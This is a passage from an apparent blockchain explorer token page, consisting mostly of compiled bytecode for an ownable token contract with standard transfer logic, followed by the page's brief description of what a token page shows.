20019081526020016000206000828254610cee91906113b4565b9250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d4491906113e8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610da891906111d6565b60405180910390a3600190505b92915050565b610dc3610e86565b81600781905550806008819055505050565b6003602052816000526040600020602052806000526040600020600091509150505481565b610e02610e86565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e745760006040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610e6b9190611200565b60405180910390fd5b610e7d81610f0d565b50565b60075481565b610e8e610fd1565b73ffffffffffffffffffffffffffffffffffffffff16610eac610904565b73ffffffffffffffffffffffffffffffffffffffff1614610f0b57610ecf610fd1565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610f029190611200565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611013578082015181840152602081019050610ff8565b60008484015250505050565b6000601f19601f8301169050919050565b600061103b82610fd9565b6110458185610fe4565b9350611055818560208601610ff5565b61105e8161101f565b840191505092915050565b600060208201905081810360008301526110838184611030565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110bb82611090565b9050919050565b6110cb816110b0565b81146110d657600080fd5b50565b6000813590506110e8816110c2565b92915050565b6000602082840312156111045761110361108b565b5b6000611112848285016110d9565b91505092915050565b6000819050919050565b61112e8161111b565b811461113957600080fd5b50565b60008135905061114b81611125565b92915050565b600080604083850312156111685761116761108b565b5b6000611176858286016110d9565b92505060206111878582860161113c565b9150509250929050565b60008115159050919050565b6111a681611191565b82525050565b60006020820190506111c1600083018461119d565b92915050565b6111d08161111b565b82525050565b60006020820190506111eb60008301846111c7565b92915050565b6111fa816110b0565b82525050565b600060208201905061121560008301846111f1565b92915050565b6000806000606084860312156112345761123361108b565b5b6000611242868287016110d9565b9350506020611253868287016110d9565b92505060406112648682870161113c565b9150509250925092565b600060ff82169050919050565b6112848161126e565b82525050565b600060208201905061129f600083018461127b565b92915050565b600080604083850312156112bc576112bb61108b565b5b60006112ca8582860161113c565b92505060206112db8582860161113c565b9150509250929050565b600080604083850312156112fc576112fb61108b565b5b600061130a858286016110d9565b925050602061131b858286016110d9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061136c57607f821691505b60208210810361137f5761137e611325565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006113bf8261111b565b91506113ca8361111b565b92508282039050818111156113e2576113e1611385565b5b92915050565b60006113f38261111b565b91506113fe8361111b565b925082820190508082111561141657611415611385565b5b92915050565b60008151905061142b81611125565b92915050565b6000602082840312156114475761144661108b565b5b60006114558482850161141c565b91505092915050565b600060408201905061147360008301856111f1565b61148060208301846111c7565b9392505050565b61149081611191565b811461149b57600080fd5b50565b6000815190506114ad81611487565b92915050565b6000602082840312156114c9576114c861108b565b5b60006114d78482850161149e565b91505092915050565b60006114eb8261111b565b91506114f68361111b565b92508282026115048161111b565b9150828204841483151761151b5761151a611385565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061155c8261111b565b91506115678361111b565b92508261157757611576611522565b5b82820490509291505056fea264697066735822122035b8b7b6ebda205451c81c386ea0417172fd2838e9d09a4eea66bd2aae29da9964736f6c63430008180033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.